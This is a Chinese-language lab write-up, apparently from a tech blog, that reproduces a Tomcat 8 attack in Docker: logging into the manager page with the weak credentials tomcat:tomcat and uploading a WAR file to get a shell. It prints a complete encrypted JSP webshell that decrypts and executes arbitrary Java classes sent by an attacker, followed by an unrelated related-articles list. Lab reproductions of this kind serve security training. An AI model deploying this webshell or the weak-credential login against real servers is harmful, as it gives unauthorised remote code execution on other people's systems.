Tomcat8

简介: Tomcat8

漏洞简述

Tomcat7+ 弱口令 && 后台getshell漏洞

Tomcat版本:8.0

环境说明

Tomcat支持在后台部署war文件,可以直接将webshell部署到web目录下。其中,欲访问后台,需要对应用户有相应权限。

Tomcat7+权限分为:

  • manager(后台管理)
  • manager-gui 拥有html页面权限
  • manager-status 拥有查看status的权限
  • manager-script 拥有text接口的权限,和status权限
  • manager-jmx 拥有jmx权限,和status权限
  • host-manager(虚拟主机管理)
  • admin-gui 拥有html页面权限
  • admin-script 拥有text接口权限

这些权限的究竟有什么作用,详情阅读 http://tomcat.apache.org/tomcat-8.5-doc/manager-howto.html

conf/tomcat-users.xml文件中配置用户的权限:

<?xml version="1.0" encoding="UTF-8"?>
<tomcat-users xmlns="http://tomcat.apache.org/xml"
              xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
              xsi:schemaLocation="http://tomcat.apache.org/xml tomcat-users.xsd"
              version="1.0">
    <role rolename="manager-gui"/>
    <role rolename="manager-script"/>
    <role rolename="manager-jmx"/>
    <role rolename="manager-status"/>
    <role rolename="admin-gui"/>
    <role rolename="admin-script"/>
    <user username="tomcat" password="tomcat" roles="manager-gui,manager-script,manager-jmx,manager-status,admin-gui,admin-script" />
</tomcat-users>

可见,用户tomcat拥有上述所有权限,密码是tomcat

正常安装的情况下,tomcat8中默认没有任何用户,且manager页面只允许本地IP访问。只有管理员手工修改了这些属性的情况下,才可以进行攻击。

漏洞复现

docker-compose up -d

Error starting userland proxy: listen tcp4 0.0.0.0:8080: bind: address already in use

错误原因关掉burp

打开tomcat管理页面http://127.0.0.1:8080/manager/html,输入弱密码tomcat:tomcat,即可访问后台:

将带有一句话的he.jsp文件压缩成zip,并且将压缩后的zip文件改名为he.war

jsp 一句话木马,密码为pass

<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%><%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%><%if(request.getParameter("pass")!=null){String k=(""+UUID.randomUUID()).replace("-","").substring(16);session.putValue("u",k);out.print(k);return;}Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec((session.getValue("u")+"").getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);%>

上传he.war文件

相关文章
|
5天前
|
Java 应用服务中间件 Apache
Tomcat详解
Tomcat是Apache开源的轻量级Java Servlet容器,支持多Service管理。每个Service包含多个Connector和一个Engine,负责处理网络请求与内部流程。核心组件包括连接器(Connector)和容器(Container),前者处理Socket连接及协议解析,后者加载和管理Servlet。架构中,Server为顶层容器,管理实例生命周期;Service连接外部请求与内部处理;Connector处理不同协议请求;Container下有Engine、Host、Context和Wrapper,分别负责请求分发、虚拟主机配置、Web应用处理和Servlet调用。
44 2
|
Java 应用服务中间件 容器
tomcat
tomcat
102 0
|
网络协议 Java 应用服务中间件
你还在用tomcat ?out了
Netty作为高性能服务器讲解
|
Java 应用服务中间件
Tomcat2
Tomcat2
84 0
|
前端开发 Java 关系型数据库
|
缓存 NoSQL 数据可视化
|
应用服务中间件
Tomcat知识1
Tomcat知识1
110 0
|
XML Java 应用服务中间件
Tomcat就是这么简单(下)
Tomcat简单的说就是一个运行JAVA的网络服务器,底层是Socket的一个程序,它也是JSP和Serlvet的一个容器。
233 0
Tomcat就是这么简单(下)
|
前端开发 JavaScript Oracle
快速了解TomCat是个啥
快速了解TomCat是个啥
193 0
快速了解TomCat是个啥
|
监控 NoSQL Redis